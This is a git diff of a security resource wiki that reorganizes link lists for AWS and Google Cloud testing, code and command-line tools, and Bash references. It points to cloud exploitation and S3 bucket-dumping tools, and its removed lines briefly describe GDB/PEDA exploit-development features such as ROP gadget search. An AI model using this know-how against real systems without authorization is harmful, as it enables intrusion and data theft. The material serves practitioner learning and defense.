-### AWS Training +| AWS Service | Testing focus | +| --- | --- | +| EC2 | Public service exposure, OS vulnerabilities, instance metadata access, and STS credential paths. | +| S3 | Anonymous access, broad bucket policies, object ACLs, public snapshots, and authenticated-user exposure. | +| ELB/ALB | HTTP request smuggling and load-balancer parsing differences. | +| SNS/SQS | Misconfigured topics and queues that allow unauthorized subscribe, publish, or receive actions. | +| RDS/Aurora/Redshift | Public exposure, weak access controls, and snapshot sharing. | +| EBS | Public snapshots and leaked sensitive data. | +| Cognito Authentication | Self-signup, weak app-client settings, token handling, and missing advanced security features. | -* [https://www.udemy.com/course/cloud-hacking/](https://www.udemy.com/course/cloud-hacking/) -* [https://cloudacademy.com/course/aws-security-fundamentals/introduction-74/](https://cloudacademy.com/course/aws-security-fundamentals/introduction-74/) +### AWS Tools -## **Gcloud** +#### Offensive -### **Guides and Reference** +* [Bucket_finder](https://digi.ninja/projects/bucket_finder.php) - Finds and tests Amazon buckets. + * [What's in Amazon's buckets?](https://digi.ninja/blog/whats_in_amazons_buckets.php) +* [bucket-stream](https://github.com/eth0izzle/bucket-stream) - Finds S3 buckets by watching certificate transparency logs. +* [S3Scanner](https://github.com/sa7mon/S3Scanner) - Scans for open S3 buckets and dumps contents. +* [Pacu](https://github.com/RhinoSecurityLabs/pacu) - AWS exploitation framework for authorized testing. + * [Pacu wiki](https://github.com/RhinoSecurityLabs/pacu/wiki/) + * [Kali Pacu package](https://www.kali.org/tools/pacu/) + * [Pacu overview](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/) + * _Operator Handbook: Pacu - pg. 31_ +* [Nimbostratus](https://github.com/andresriancho/nimbostratus) - AWS fingerprinting and exploitation. + * _Operator Handbook: Nimbostratus - pg. 30_ +* [weirdAAL](https://github.com/carnal0wnage/weirdAAL) - AWS Attack Library. + * [weirdAAL wiki](https://github.com/carnal0wnage/weirdAAL/wiki) + +#### Defensive, DFIR, and Hunting + +* [Arsenal of AWS Tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) + * [aws-security-toolbox](https://github.com/toniblyx/aws-security-toolbox) + * [aws-forensic-tools](https://github.com/toniblyx/aws-forensic-tools) +* [Cloudsplaining](https://github.com/salesforce/cloudsplaining) - AWS IAM least-privilege assessment. + * [Cloudsplaining documentation](https://cloudsplaining.readthedocs.io/en/latest/) +* [Prowler](https://github.com/prowler-cloud/prowler) - AWS security best-practice assessment, audits, IR, continuous monitoring, and hardening. +* [CloudSploit](https://github.com/aquasecurity/cloudsploit) - Cloud Security Posture Management checks. +* [CloudMapper](https://github.com/duo-labs/cloudmapper) - AWS environment analysis. +* [cloudtracker](https://github.com/duo-labs/cloudtracker) - Compares CloudTrail logs with IAM policies to find over-privileged roles and users. +* [aws-recon](https://github.com/darkbitio/aws-recon) - Multi-threaded AWS inventory collection. +* [review-security-groups](https://github.com/MrSecure/review-security-groups) - Summarizes AWS Security Groups and visualizes rules. +* [cloudtrail2sightings](https://github.com/zmallen/cloudtrail2sightings) - Converts CloudTrail data to MITRE ATT&CK Sightings. +* [aws_ir](https://github.com/ThreatResponse/aws_ir) - AWS incident response utility. +* [acquire-aws-ec2](https://github.com/telekom-security/acquire-aws-ec2) - Captures EC2 instances during IR. +* [Incident Response in AWS](https://www.chrisfarris.com/post/aws-ir/) +* [AWS threat hunting repo](https://github.com/schwartz1375/aws) -* __[https://cheatsheet.dennyzhang.com/cheatsheet-gcp-a4](https://cheatsheet.dennyzhang.com/cheatsheet-gcp-a4) -* [https://cloud.google.com/architecture/security-controls-and-forensic-analysis-for-GKE-apps?hl=it](https://cloud.google.com/architecture/security-controls-and-forensic-analysis-for-GKE-apps?hl=it) -* [https://cloud.google.com/pubsub/docs/quickstart-cli](https://cloud.google.com/pubsub/docs/quickstart-cli) -* [https://support.google.com/cloud/answer/6262505?hl=en](https://support.google.com/cloud/answer/6262505?hl=en) - Google rules on pentesting -* [https://pentestbook.six2dez.com/enumeration/cloud/gcp](https://pentestbook.six2dez.com/enumeration/cloud/gcp) -* [https://github.com/irgoncalves/gcp\_security](https://github.com/irgoncalves/gcp\_security) -* [https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation) -* Hardening - [https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster](https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster) -* _Operator Handbook: GCP CLI - pg. 70_ -* _Operator Handbook: GCP Exploit - pg. 75_ +### AWS Training +* [Cloud Hacking](https://www.udemy.com/course/cloud-hacking/) +* [AWS Security Fundamentals](https://cloudacademy.com/course/aws-security-fundamentals/introduction-74/) +## Google Cloud +### Guides and Reference + +* [GCP cheat sheet](https://cheatsheet.dennyzhang.com/cheatsheet-gcp-a4) +* [Security controls and forensic analysis for GKE apps](https://cloud.google.com/architecture/security-controls-and-forensic-analysis-for-GKE-apps) +* [Pub/Sub quickstart CLI](https://cloud.google.com/pubsub/docs/quickstart-cli) +* [Google Cloud penetration testing rules](https://support.google.com/cloud/answer/6262505?hl=en) +* [Pentest Book - GCP](https://pentestbook.six2dez.com/enumeration/cloud/gcp) +* [gcp_security](https://github.com/irgoncalves/gcp_security) +* [GCP IAM Privilege Escalation](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation) +* [Hardening your GKE cluster](https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster) +* _Operator Handbook: GCP CLI - pg. 70_ +* _Operator Handbook: GCP Exploit - pg. 75_ diff --git a/code-tools/README.md b/code-tools/README.md index 8d2e276..67303a8 100644 --- a/code-tools/README.md +++ b/code-tools/README.md @@ -1,18 +1,19 @@ -# Yellow - Code and CLI +--- +description: Code, command-line, Bash, PowerShell, regex, scripting, and data-transformation resources for security analysts and practitioners. +--- -You do not need to know how to code to be good at security. Many newcomers to the industry are daunted by the prospect of learning to code, which can prevent them from taking the plunge into cybersecurity. Does coding help? Absolutely! However, it is not a prerequisite for success. A foundational level of coding knowledge is perfectly acceptable. +# Yellow - Code and CLI -Think of it like learning the basics of a foreign language. Does everyone need 4-5 years to become completely fluent in Spanish before ordering food at your favorite taco restaurant? No! Understanding some of the more common terms and being able to recognize the language when it's used goes a long way.\ -The same applies to code. +You do not need to be a full-time developer to be good at security, but you do need enough code and command-line literacy to recognize what scripts, commands, logs, and snippets are doing. This section is for that foundation: CLI skills, scripting references, regex, code-learning resources, and small utilities that help analysts understand or transform data. -To help with this foundational understanding, many platforms, tools, and projects have been created to make code more approachable. As a security analyst, you are not expected to write complex JavaScript or in-depth PowerShell commands. However, should you be able to recognize them and understand their function? Absolutely! Fortunately, there are tools that can make this process easier. +Deep security tool categories live in their own sections. Code scanning and dependency risk belong in vulnerability management, reverse engineering belongs in DFIR, shellcode and exploit development belong in Red Offensive, and log parsing belongs in Security Logging. ## Secure Coding -* [https://github.com/6mile/DevSecOps-Playbook](https://github.com/6mile/DevSecOps-Playbook) -* [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/) - Quick reference guide for secure coding practices -* [CWE - Common Weakness Enumeration](https://cwe.mitre.org/) - Community-developed list of software and hardware weakness types -* [SANS Secure Coding Resources](https://www.sans.org/secure-coding/) - Collection of secure coding training and resources +* [DevSecOps Playbook](https://github.com/6mile/DevSecOps-Playbook) +* [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/) - Quick reference guide for secure coding practices. +* [CWE - Common Weakness Enumeration](https://cwe.mitre.org/) - Community-developed list of software and hardware weakness types. +* [SANS Secure Coding Resources](https://www.sans.org/secure-coding/) - Secure coding training and resources. ## Command Shells @@ -24,58 +25,59 @@ To help with this foundational understanding, many platforms, tools, and project [bash](bash/) {% endcontent-ref %} -### Windows CLI - -* _Operator Handbook: Windows\_Commands - pg. 328_ - -### Powershell +### PowerShell {% content-ref url="powershell/" %} [powershell](powershell/) {% endcontent-ref %} +### Windows CLI + +* _Operator Handbook: Windows_Commands - pg. 328_ + ## CLI Assistance Tools -* [https://www.commandlinefu.com](https://www.commandlinefu.com) - An amazing repository of command strings accomplishing different tasks. Simply search the task and see what commands have worked for others. -* [https://explainshell.com/](https://explainshell.com/) - Enter a command-line to see the help text that matches each argument -* [cheat.sh](https://github.com/chubin/cheat.sh) - Community-driven command-line cheatsheet tool -* [tldr](https://tldr.sh/) - Simplified and community-driven man pages with practical examples -* [thefuck](https://github.com/nvbn/thefuck) - Corrects errors in previous console commands +* [commandlinefu](https://www.commandlinefu.com/) - Repository of useful command-line snippets. +* [explainshell](https://explainshell.com/) - Explains command-line arguments from man page text. +* [cheat.sh](https://github.com/chubin/cheat.sh) - Community-driven command-line cheatsheet tool. +* [tldr](https://tldr.sh/) - Simplified, example-focused man pages. +* [thefuck](https://github.com/nvbn/thefuck) - Corrects errors in previous console commands. ## Code Reference Tools -* [https://stackoverflow.com/](https://stackoverflow.com/) - The world's largest programming Q&A community. An invaluable resource for finding solutions to coding problems and understanding how different code snippets work. If you can't figure out how to code something, start here first. -* [The complete table of ASCII characters, codes, symbols and signs](https://theasciicode.com.ar/) -* [Devhints](https://devhints.io/) - One of the largest collections of coding cheatsheets and guides available on the internet. -* [PublicWWW.com](https://publicwww.com/) - Source code search engine that allows you to search across millions of websites -* [Microsoft Learn - Code Samples](https://learn.microsoft.com/en-us/samples/browse/) - Browse code samples from Microsoft documentation -* [https://ryanstutorials.net/](https://ryanstutorials.net/) - A collection of free, introductory tutorials on several technology topics including: Linux command line, Bash scripting, creating and styling webpages with HTML and CSS, counting and converting between different number systems, and writing regular expressions -* [https://www.markdownguide.org/](https://www.markdownguide.org/) - Free and open-source reference guide that explains how to use Markdown -* [GitHub Docs](https://docs.github.com/) - Comprehensive documentation for GitHub, Git, and version control -* [Regex101](https://regex101.com/) - Online regex tester and debugger with explanations -* [Can I Use](https://caniuse.com/) - Browser compatibility tables for web technologies +* [Stack Overflow](https://stackoverflow.com/) - Programming Q&A community. +* [ASCII Table](https://theasciicode.com.ar/) - ASCII characters, codes, symbols, and signs. +* [Devhints](https://devhints.io/) - Coding cheatsheets and guides. +* [PublicWWW](https://publicwww.com/) - Source code search engine for public websites. +* [Microsoft Learn Code Samples](https://learn.microsoft.com/en-us/samples/browse/) - Microsoft documentation samples. +* [Ryan's Tutorials](https://ryanstutorials.net/) - Introductory tutorials for Linux command line, Bash, HTML/CSS, number systems, and regex. +* [Markdown Guide](https://www.markdownguide.org/) - Markdown reference guide. +* [GitHub Docs](https://docs.github.com/) - GitHub, Git, and version control documentation. +* [Can I Use](https://caniuse.com/) - Browser compatibility tables for web technologies. +* [Replit](https://replit.com/) - Collaborative in-browser IDE. {% content-ref url="learn-to-code.md" %} [learn-to-code.md](learn-to-code.md) {% endcontent-ref %} -## **Code libraries and collections** +## Code Libraries and Collections + +Awesome lists are allowed to repeat locally because they are useful entry points into a topic. -* [Awesome Lists Collection: Python](https://github.com/vinta/awesome-python) +* [Awesome Python](https://github.com/vinta/awesome-python) * [Python-Pentest-Tools](https://github.com/dloss/python-pentest-tools) -* [Pythonidae](https://github.com/svaksha/pythonidae) - Curated collection of scientific programming resources in Python (Note: Repository is archived but still contains valuable references) -* [Awesome Lists Collection: PHP](https://github.com/ziadoz/awesome-php/) -* [Awesome Lists Collection: JavaScript](https://github.com/sorrycc/awesome-javascript#readme) -* [Awesome Lists Collection: Swift](https://github.com/matteocrippa/awesome-swift#readme) -* [Awesome Lists Collection: GO](https://github.com/avelino/awesome-go#readme) -* [Awesome Lists Collection: C](https://github.com/inputsh/awesome-c#readme) -* [Awesome Lists Collection: C++](https://github.com/fffaraz/awesome-cpp#readme) -* [Awesome Lists Collection: Perl](https://github.com/hachiojipm/awesome-perl#readme) -* [Awesome Lists Collection: Rust](https://github.com/rust-unofficial/awesome-rust#readme) -* [Awesome Lists Collection: Java](https://github.com/akullpp/awesome-java#readme) -* [Awesome Lists Collection: HTML5](https://github.com/diegocard/awesome-html5#readme) -* [Awesome Lists Collection: CSS](https://github.com/awesome-css-group/awesome-css#readme) -* [Awesome Lists Collection: DevSecOps](https://github.com/devsecops/awesome-devsecops) +* [Awesome PHP](https://github.com/ziadoz/awesome-php/) +* [Awesome JavaScript](https://github.com/sorrycc/awesome-javascript#readme) +* [Awesome Swift](https://github.com/matteocrippa/awesome-swift#readme) +* [Awesome Go](https://github.com/avelino/awesome-go#readme) +* [Awesome C](https://github.com/inputsh/awesome-c#readme) +* [Awesome C++](https://github.com/fffaraz/awesome-cpp#readme) +* [Awesome Perl](https://github.com/hachiojipm/awesome-perl#readme) +* [Awesome Rust](https://github.com/rust-unofficial/awesome-rust#readme) +* [Awesome Java](https://github.com/akullpp/awesome-java#readme) +* [Awesome HTML5](https://github.com/diegocard/awesome-html5#readme) +* [Awesome CSS](https://github.com/awesome-css-group/awesome-css#readme) +* [Awesome DevSecOps](https://github.com/devsecops/awesome-devsecops) ## Regex @@ -83,127 +85,76 @@ To help with this foundational understanding, many platforms, tools, and project [regex.md](regex.md) {% endcontent-ref %} -## Decoding Tools - -* [CyberChef](https://gchq.github.io/CyberChef/) - Often called the "Cyber Swiss Army Knife," CyberChef is a web-based tool with over 300 functions that can encode/decode, encrypt/decrypt, convert, and parse virtually any data format. You can copy and paste snippets of code for translation or upload entire files. The most useful feature is the "Magic" function, which uses fuzzy logic to automatically detect encoding types and suggest appropriate decoding operations. You can also chain multiple functions together into "Recipes" for complex data transformations. - * [https://github.com/mattnotmax/cyberchef-recipes](https://github.com/mattnotmax/cyberchef-recipes) - * [https://gist.github.com/michaelder](https://gist.github.com/michaelder) - Cobalt Strike decoding recipes -* [Hackvertor](https://hackvertor.co.uk/public) - Multi-function Code converter -* [String Manipulation tool](https://manytools.org/http-html-text/string-manipulation/) -* [https://encoding.tools](https://encoding.tools/) - Basic HTML decoding and hash conversion tool -* [DCode toolkit](https://www.dcode.fr/tools-list) - dCode is free and its tools are a valuable help in games, maths, geocaching, puzzles and problems to solve every day! -* [quipqiup](https://quipqiup.com/) - Cryptoquip and Cryptogram solver -* [Hex to ASCII | Hex to Text converter](https://www.rapidtables.com/convert/number/hex-to-ascii.html) -* [DDecode](http://ddecode.com/hexdecoder/) - Hex, Octal, HTML Decoder -* [AES encryption](https://aesencryption.net/) - AES encryption/decryption tool -* [Encode/Decode](https://toolbox.googleapps.com/apps/encode\_decode/) - Google's encoding and decoding tool -* [Base64 Decode and Encode](https://www.base64decode.org/) - Simple Base64 encoding/decoding tool -* [JWT.io](https://jwt.io/) - JSON Web Token decoder, verifier, and generator -* [de4dot](https://www.kali.org/tools/de4dot/) - de4dot is a .NET deobfuscator and unpacker. -* [gpp-decrypt](https://www.kali.org/tools/gpp-decrypt/) - Decrypt the given Group Policy Preferences string - -### Javascript Decoders - -* [Online JavaScript beautifier](https://beautifier.io/) - Beautify, unpack, or de-obfuscate JavaScript and HTML, make JSON/JSONP readable, and more -* [UnPacker](http://matthewfl.com/unPacker.html) - Sort and organize JavaScript into properly formatted code for easier analysis -* [InfoSec Handlers Diary Blog - Advanced obfuscated JavaScript analysis](https://isc.sans.edu/diary/Advanced+obfuscated+JavaScript+analysis/4246) -* [Malware at Stake: JavaScript Obfuscation](https://secniche.blogspot.com/2012/04/javascript-obfuscation-manual-armor-1.html) -* [JS NICE: Statistical renaming, Type inference and Deobfuscation](http://www.jsnice.org/) - -### Shellcoding - -**Shellcode** - For those in offensive security - -* [shell-storm](http://shell-storm.org/shellcode/) - Shellcode database -* [cryptam.com: Shellcode Analysis](https://malwaretracker.com/shellcode.php) -* [Shellcoding for Linux and Windows Tutorial](https://www.vividmachines.com/shellcode/shellcode.html) - -## **Code Vulnerability Scanning** - -* [Snyk](https://github.com/snyk/snyk) - CLI and build-time tool to find and fix known vulnerabilities in open-source dependencies. It is one of the most widely adopted tools in DevSecOps. It even has its own [conference.](https://snyk.io/snykcon/) -* [Mend (formerly WhiteSource)](https://www.mend.io/) - Continuous security scanning for open source components in your repositories -* [Brakeman](https://github.com/presidentbeef/brakeman) - A static analysis security vulnerability scanner for Ruby on Rails applications -* [Cppcheck](http://cppcheck.sourceforge.net/) - A tool for static C/C++ code analysis -* [SpotBugs](https://spotbugs.github.io/) - Static analysis tool to find bugs in Java programs (successor to FindBugs) -* [Sobelow](https://github.com/nccgroup/sobelow) - Security-focused static analysis for the Phoenix Framework -* [bandit](https://pypi.org/project/bandit/) - Bandit is a tool designed to find common security issues in Python code. -* [Package Hunter](https://about.gitlab.com/blog/2021/07/23/announcing-package-hunter/) - Scan dependencies for potentially malicious code -* [semgrep](https://github.com/returntocorp/semgrep) - Lightweight static analysis for many languages. Find bug variants with patterns that look like source code. -* [GGShield](https://github.com/GitGuardian/ggshield) - Detect secrets in source code and scan repositories for leaked credentials. GitGuardian is an automated secrets detection and remediation service. -* [puma-scan](https://github.com/pumasecurity/puma-scan) - Puma Scan is a software security Visual Studio extension that provides real time, continuous source code analysis as development teams write code. -* [https://github.com/deadbits/InsecureProgramming](https://github.com/deadbits/InsecureProgramming) - Examples of insecure programming practices for educational purposes -* [Secure Coding in C/C++](https://www.amazon.com/Secure-Coding-2nd-Software-Engineering/dp/0321822137) -* [Art of software Security Assessment](https://www.amazon.com/Art-Software-Security-Assessment-Vulnerabilities/dp/0321444426) -* [betterscan-ce](https://github.com/marcinguy/betterscan-ce) - Code Scanning/SAST/Static Analysis/Linting using many tools/Scanners with One Report (Code, IaC) - Betterscan Community Edition (CE) - * [https://www.betterscan.io/](https://www.betterscan.io/) -* [Trivy](https://github.com/aquasecurity/trivy) - Comprehensive vulnerability scanner for containers, filesystems, and git repositories -* [Grype](https://github.com/anchore/grype) - Vulnerability scanner for container images and filesystems -* [OWASP Dependency-Check](https://owasp.org/www-project-dependency-check/) - Software composition analysis tool that detects publicly disclosed vulnerabilities - -## Misc Tools - -### Automation - -* [Ansible](https://www.ansible.com/) - Open-source automation tool for configuration management, application deployment, and task automation -* [Terraform](https://www.terraform.io/) - Infrastructure as code tool for building, changing, and versioning infrastructure - -### **Grok** - -* [Grok Debugger](https://grokdebug.herokuapp.com/) - Online grok pattern tester (Note: Availability may vary; consider using Kibana's built-in Grok Debugger as an alternative) -* [Grok Constructor](https://grokconstructor.appspot.com/) - Alternative web-based grok pattern builder and tester - -### **Hashes** - -* [Hashcalc](https://www.slavasoft.com/hashcalc/) - A fast and easy-to-use calculator that computes message digests, checksums, and HMACs for files, text, and hex strings. It offers a choice of 13 of the most popular hash and checksum algorithms. -* [Md5 Decrypt & Encrypt - More than 10.000.000.000 hashes](https://md5decrypt.net/en/) - Handy tool for hash lookups. Can save some time over brute forcing. -* [CrackStation](https://crackstation.net/) - Free hash lookup database with billions of hashes -* [hashcat](https://hashcat.net/hashcat/) - Advanced password recovery utility supporting numerous hash types - -### **Hex Editors** - -* [HexEd.it](https://hexed.it/) - Browser-based online and offline hex editing -* [Hexinator](https://hexinator.com/) - Powerful free hex editor -* [shed](https://www.kali.org/tools/shed/) - shed (Simple Hex Editor) is an easy application for viewing and editing files in text mode, using ncurses. -* [Bless](https://github.com/bwrsandman/Bless) - Gtk# Hex Editor -* [ImHex](https://github.com/WerWolv/ImHex) - Modern, feature-rich hex editor with pattern language support for reverse engineering - -### Debugger - -* [edb-debugger](https://www.kali.org/tools/edb-debugger/) - edb is a graphical cross platform x86/x86-64 debugger. -* [ollydbg](https://www.kali.org/tools/ollydbg/) - OllyDbg is a 32-bit assembler level analysing debugger for Microsoft Windows. Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable. -* [openocd](https://www.kali.org/tools/openocd/) - OpenOCD aims to provide debugging, in-system programming and boundary-scan testing for embedded target devices. -* [gdb](https://www.kali.org/tools/gdb/) - GDB/PEDA - GDB is a command-line debugger for Linux that is essential for analyzing and exploiting Linux binaries. Python Exploit Development Assistant (PEDA) is an open-source extension to GDB that enhances its usability with additional features for exploit development. - * Pattern - When looking for buffer overflows, one of the key components is identifying at which point the return pointer is overwritten. To help identify this location, PEDA can generate patterns that can be used as input to identify the exact offset. - * Ropsearch - Searches for return-oriented programming (ROP) gadgets in memory that can be used for ROP-based exploits. - * Searchmem|find - These commands can be used to search for structures and strings in memory. A typical use case is searching for strings like '/bin/sh' for ret2libc payloads. - * Skeleton - Generates a Python skeleton script that can be used as a template for creating exploit code. - * Vmmap - Displays a table listing all memory regions of the binary, including read, write, and execute permissions for each section.\ - ◇ [https://github.com/longld/peda](https://github.com/longld/peda) - * Install PEDA - -``` -# git clone https://github.com/longld/peda.git ~/peda -# echo "source ~/peda/peda.py" >> ~/.gdbinit -``` - -* [GEF (GDB Enhanced Features)](https://github.com/hugsy/gef) - Modern GDB extension with additional features for exploit developers and reverse engineers -* [pwndbg](https://github.com/pwndbg/pwndbg) - Another popular GDB plugin designed for exploit development and reverse engineering -* [radare2](https://github.com/radareorg/radare2) - Advanced open-source framework for reverse engineering and analyzing binaries -* [Ghidra](https://ghidra-sre.org/) - NSA's open-source software reverse engineering framework - -## Legacy/Deprecated Tools - -**Note:** The following tools are no longer actively maintained or have been superseded by newer alternatives. They are listed here for reference purposes only. - -* [FindBugs](http://findbugs.sourceforge.net/) - Legacy static analysis tool for Java (replaced by SpotBugs) -* [Frhed](http://frhed.sourceforge.net/en/) - Older hex editor for Windows (consider using ImHex or HexEd.it instead) -* [NRE Labs](https://labs.networkreliability.engineering/) - Network automation learning platform (project has been discontinued) - -### **Honorable Mention** - -* [Ciphey](https://github.com/ciphey/ciphey) - Fully automated decryption/decoding/cracking tool using natural language processing & artificial intelligence, along with some common sense. -* [Replit](https://replit.com/) - Collaborative, in-browser IDE to code in 50+ languages. -* [bytecode-viewer](https://www.kali.org/tools/bytecode-viewer/) - An advanced lightweight Java bytecode viewer, GUI Java decompiler, GUI bytecode editor, and much more. -* [jq](https://stedolan.github.io/jq/) - Lightweight and flexible command-line JSON processor -* [yq](https://github.com/mikefarah/yq) - Command-line YAML, JSON, and XML processor -* [ShellCheck](https://www.shellcheck.net/) - Static analysis tool for shell scripts to find bugs and improve code quality +## Data Transformation Utilities + +Use these tools for encoding, decoding, formatting, and quick data transformation. CyberChef also appears in event analysis and DFIR contexts because it is useful in many workflows. + +* [CyberChef](https://gchq.github.io/CyberChef/) - Encoding, decoding, compression, encryption, and data transformation workbench. + * [CyberChef recipes](https://github.com/mattnotmax/cyberchef-recipes) + * [Michael Der's CyberChef gists](https://gist.github.com/michaelder) - Includes Cobalt Strike decoding recipes. +* [Hackvertor](https://hackvertor.co.uk/public) - Multi-function conversion tool. +* [String Manipulation](https://manytools.org/http-html-text/string-manipulation/) - Text manipulation utilities. +* [encoding.tools](https://encoding.tools/) - HTML decoding and hash conversion utilities. +* [dCode](https://www.dcode.fr/tools-list) - Large toolkit for encoders, ciphers, puzzles, and data conversion. +* [quipqiup](https://quipqiup.com/) - Cryptogram solver. +* [RapidTables Hex to ASCII](https://www.rapidtables.com/convert/number/hex-to-ascii.html) - Hex/text conversion. +* [DDecode](http://ddecode.com/hexdecoder/) - Hex, octal, and HTML decoder. +* [AES Encryption](https://aesencryption.net/) - AES encryption/decryption utility. +* [Google Encode/Decode](https://toolbox.googleapps.com/apps/encode_decode/) - Google encoding and decoding utility. +* [Base64 Decode and Encode](https://www.base64decode.org/) - Base64 encoder and decoder. +* [JWT.io](https://jwt.io/) - JSON Web Token decoder, verifier, and generator. +* [Online JavaScript Beautifier](https://beautifier.io/) - Beautify and unpack JavaScript, HTML, JSON, and JSONP. +* [UnPacker](http://matthewfl.com/unPacker.html) - JavaScript unpacking and formatting. +* [Advanced obfuscated JavaScript analysis](https://isc.sans.edu/diary/Advanced+obfuscated+JavaScript+analysis/4246) - SANS ISC diary entry. +* [JavaScript Obfuscation](https://secniche.blogspot.com/2012/04/javascript-obfuscation-manual-armor-1.html) - Malware-focused JavaScript obfuscation notes. +* [JS NICE](http://www.jsnice.org/) - JavaScript renaming, type inference, and deobfuscation. + +## Command-Line Data Tools + +* [jq](https://jqlang.github.io/jq/) - Lightweight command-line JSON processor. +* [yq](https://github.com/mikefarah/yq) - Command-line YAML, JSON, and XML processor. +* [ShellCheck](https://www.shellcheck.net/) - Static analysis tool for shell scripts. + +## Related Sections + +* Code, dependency, container, and secret scanning tools live in Asset and Vulnerability Management. + +{% content-ref url="../blue-defense/vulnerability-management.md" %} +[vulnerability-management.md](../blue-defense/vulnerability-management.md) +{% endcontent-ref %} + +* Grok parsing and log pipeline tooling live in Security Logging. + +{% content-ref url="../security-logging/" %} +[security-logging](../security-logging/) +{% endcontent-ref %} + +* Hex editors, deobfuscators, Ghidra, radare2, and binary analysis tools live in DFIR. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md" %} +[binary-analysis-reverse-engineering.md](../dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md) +{% endcontent-ref %} + +* Shellcode and exploit-development references live in Red Offensive. + +{% content-ref url="../red-offensive/testing-methodology/exploit-research.md" %} +[exploit-research.md](../red-offensive/testing-methodology/exploit-research.md) +{% endcontent-ref %} + +* Password cracking and hash recovery tools live in Password Attacks. + +{% content-ref url="../red-offensive/testing-methodology/password-attacks.md" %} +[password-attacks.md](../red-offensive/testing-methodology/password-attacks.md) +{% endcontent-ref %} + +## Legacy / Deprecated Tools + +* [FindBugs](http://findbugs.sourceforge.net/) - Legacy Java static analysis tool replaced by SpotBugs. +* [Frhed](http://frhed.sourceforge.net/en/) - Older Windows hex editor. Consider ImHex or HexEd.it in DFIR workflows. +* [NRE Labs](https://labs.networkreliability.engineering/) - Network automation learning platform that has been discontinued. +* [Pythonidae](https://github.com/svaksha/pythonidae) - Archived Python resource collection. + +## Honorable Mention + +* [Ciphey](https://github.com/ciphey/ciphey) - Automated decryption, decoding, and cracking tool using natural language processing and heuristics. +* [bytecode-viewer](https://www.kali.org/tools/bytecode-viewer/) - Java bytecode viewer, Java decompiler, and bytecode editor. diff --git a/code-tools/bash/README.md b/code-tools/bash/README.md index 3b3449b..9071eeb 100644 --- a/code-tools/bash/README.md +++ b/code-tools/bash/README.md @@ -1,40 +1,45 @@ # Bash -## Resources - -* [https://linuxjourney.com/](https://linuxjourney.com/) - A free, handy guide for learning Linux. Coverage begins with the fundamentals of command line navigation and basic text manipulation. It then extends to more advanced topics, such as file systems and networking. The site is well organized and includes many examples along with code snippets. Exercises and quizzes are provided as well. -* [https://prep.fullstackacademy.com](https://prep.fullstackacademy.com) - In this course, you’ll learn from one of Fullstack’s top instructors, Corey Greenwald, as he guides you through learning the basics of the command line through short, digestible video lectures. Then you’ll use Fullstack’s CyberLab platform to hone your new technical skills while working through a Capture the Flag game, a special kind of cybersecurity game designed to challenge participants to solve computer security problems by solving puzzles. -* [Introduction to the Command Line](https://launchschool.com/books/command\_line) - Launch School (HTML) -* [The Linux Command Line](http://linuxcommand.org/tlcl.php) - William E. Shotts, Jr. (PDF) - * [http://linuxcommand.org/](http://linuxcommand.org/) -* [GNU Bash manual](https://www.gnu.org/software/bash/manual/bash.pdf) (PDF) -* [Bash Notes for Professionals](http://goalkicker.com/BashBook/) - Compiled from StackOverflow documentation (PDF) -* [The Bash Academy](http://guide.bash.academy) - Maarten Billemont (HTML) -* [Bash Reference Manual](http://www.gnu.org/software/bash/manual/bashref.html) (HTML) - * [Getting Started with BASH](http://www.hypexr.org/bash\_tutorial.php) (HTML) -* [Conquering the Command Line](http://conqueringthecommandline.com/book/frontmatter) - Mark Bates (HTML) -* [BashGuide](http://mywiki.wooledge.org/BashGuide) - Maarten Billemont (HTML) [(PDF)](http://s.ntnu.no/bashguide.pdf) -* [Bash tutorial](https://web.archive.org/web/20180328183806/http://gdrcorelec.ups-tlse.fr/files/bash.pdf) - Anthony Scemama (PDF) -* [pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible) - is a collection of pure bash alternatives to external processes. -* [pure-sh-bible](https://github.com/dylanaraps/pure-sh-bible) - is a collection of pure POSIX sh alternatives to external processes.[pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible) - is a collection of pure bash alternatives to external processes. -* [pure-sh-bible](https://github.com/dylanaraps/pure-sh-bible) - is a collection of pure POSIX sh alternatives to external processes. -* [bash-guide](https://github.com/Idnan/bash-guide) - is a guide to learn bash. -* [bash-handbook](https://github.com/denysdovhan/bash-handbook) - for those who wanna learn Bash. -* [The Bash Hackers Wiki](https://wiki.bash-hackers.org/start) - hold documentation of any kind about GNU Bash. -* [https://wiki.sans.blue/Tools/pdfs/LinuxCLI101.pdf](https://wiki.sans.blue/Tools/pdfs/LinuxCLI101.pdf) -* [https://wiki.sans.blue/Tools/pdfs/LinuxCLI.pdf](https://wiki.sans.blue/Tools/pdfs/LinuxCLI.pdf) -* _Operator Handbook: Linux\_Commands - pg. 118_ +Use this page for Bash-specific quick references, security analyst command-line practice, and links to the Bash command pages in this section. Long-form Bash learning resources live in Learn to Code. + +{% content-ref url="../learn-to-code.md" %} +[learn-to-code.md](../learn-to-code.md) +{% endcontent-ref %} + +## Bash References + +* [Linux Journey](https://linuxjourney.com/) - Free guide for learning Linux fundamentals, command-line navigation, text manipulation, filesystems, and networking. +* [Fullstack Academy Cyber OnRamp](https://prep.fullstackacademy.com) - Introductory command-line training with CTF-style practice. +* [pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible) - Pure Bash alternatives to common external processes. +* [pure-sh-bible](https://github.com/dylanaraps/pure-sh-bible) - Pure POSIX `sh` alternatives to common external processes. +* [bash-guide](https://github.com/Idnan/bash-guide) - Bash learning guide. +* [bash-handbook](https://github.com/denysdovhan/bash-handbook) - Beginner-friendly Bash handbook. +* [The Bash Hackers Wiki](https://wiki.bash-hackers.org/start) - Detailed Bash documentation and examples. +* _Operator Handbook: Linux_Commands - 